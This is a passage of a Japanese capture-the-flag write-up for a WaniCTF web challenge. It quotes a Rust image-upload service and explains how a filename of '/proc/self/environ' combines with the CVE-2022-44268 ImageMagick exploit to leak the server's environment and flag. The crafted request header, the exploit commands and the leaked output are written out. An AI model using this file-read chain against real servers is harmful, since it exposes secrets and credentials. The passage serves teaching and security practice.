        .context("Failed to create working directory")?;

    let (file_name, file_data) = match extract_file(&mut multipart).await {
        Some(file) => file,
        None => return Ok((StatusCode::BAD_REQUEST, "Invalid multipart data").into_response()),
    };
    fs::write(
        current_dir.join(file_name.file_name().unwrap_or("".as_ref())),
        file_data,
    )
    .await
    .context("Failed to save uploaded file")?;

    process_image(&current_dir, &file_name)
        .await
        .context("Failed to process image")?;

    Ok((StatusCode::SEE_OTHER, [("location", format!("/view/{id}"))]).into_response())
}

// Extract file name and file data from multipart form data
async fn extract_file(multipart: &mut extract::Multipart) -> Option<(PathBuf, Bytes)> {
    while let Ok(Some(field)) = multipart.next_field().await {
        if field.name() == Some("file") {
            let file_name = match field.file_name() {
                Some(file_name) => PathBuf::from(file_name),
                None => return None,
            };
            let file_data = match field.bytes().await {
                Ok(bytes) => bytes,
                Err(_) => return None,
            };

            return Some((file_name, file_data));
        }
    }

    None
}

以下はprocess_image.rsです。

use anyhow::{bail, Context, Result};
use std::path::Path;
use std::process::Stdio;
use tokio::fs;
use tokio::process::Command;

pub async fn process_image(working_directory: &Path, input_filename: &Path) -> Result<()> {
    println!("{}", working_directory.join(input_filename).display());
    fs::copy(
        working_directory.join(input_filename),
        working_directory.join("input"),
    )
    .await
    .context("Failed to prepare input")?;

    fs::write(
        working_directory.join("overlay.png"),
        include_bytes!("../assets/hanko.png"),
    )
    .await
    .context("Failed to prepare overlay")?;

    let child = Command::new("sh")
        .args([
            "-c",
            "timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png",
        ])
        .current_dir(working_directory)
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::piped())
        .spawn()
        .context("Failed to spawn")?;

    let out = child
        .wait_with_output()
        .await
        .context("Failed to read output")?;

    if !out.status.success() {
        bail!(
            "image processing failed on {}:\n{}",
            working_directory.display(),
            std::str::from_utf8(&out.stderr)?
        );
    }

    Ok(())
}

以下の部分に着目すると、指定したパスのファイルをworking_directoryのinputファイルにコピーする処理を行なっていることがわかります。

pub async fn process_image(working_directory: &Path, input_filename: &Path) -> Result<()> {
fs::copy(
    working_directory.join(input_filename),
    working_directory.join("input"),
)

ここではPathがそのまま使用されているためinput_filename/proc/self/environを指定することができます。ちなみに、input_filename.file_name()とすると/proc/self/environenvironと評価されます(参考)。実際に、create.rsではファイルの内容を書き込む処理で、file_nameメソッドが使用されています。

fs::write(
    current_dir.join(file_name.file_name().unwrap_or("".as_ref())),
    file_data,
)

input_filename/proc/self/environを指定した場合、working_directory.join(input_filename)/proc/self/environと評価されます(参考)。そのため、working_directoryのinput/proc/self/environの内容がコピーされます。

このinputファイルをCVE-2022-44268のexploitを介して読み込むことができれば、0byte問題が解決できそうです。

実際に、filename/proc/self/environとしてリクエストを送信します。

Content-Disposition: form-data; name="file"; filename="/proc/self/environ"
Content-Type: image/png

すると、以下のエラーが返ってきます。/proc/self/environがコピーされたinputファイルが格納されているフォルダのパスがわかりました。

Failed to process image

Caused by:
    image processing failed on ./data/43791dd6-a1eb-4fde-b798-1258ae702d18:
    magick: no decode delegate for this image format `' @ error/constitute.c/ReadImage/741.

CVE-2022-44268のexploitを用いて/data/43791dd6-a1eb-4fde-b798-1258ae702d18/inputを読み込みます。無事にflagが取得できました。

$ python3 CVE-2022-44268.py --image network_dennou_sekai_man.png --file-to-read /data/43791dd6-a1eb-4fde-b798-1258ae702d18/input --output poisoned.png

# poisoned.pngをアップロード

$ python3 CVE-2022-44268.py --url https://certified-web.wanictf.org/view/86a1408d-4e7f-4277-8eb9-bb9585025358
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=7724dcb97f64APPIMAGE_EXTRACT_AND_RUN=1FLAG_B=FLAG{n0w_7hat_y0u_h4ve_7he_sec0nd_f1a9_y0u_4re_a_cert1f1ed_h4nk0_m@ster}RUST_LOG=hanko,tower_http=TRACE,INFOLISTEN_ADDR=0.0.0.0:3000HOME=/root
FLAG{n0w_7hat_y0u_h4ve_7he_sec0nd_f1a9_y0u_4re_a_cert1f1ed_h4nk0_m@ster}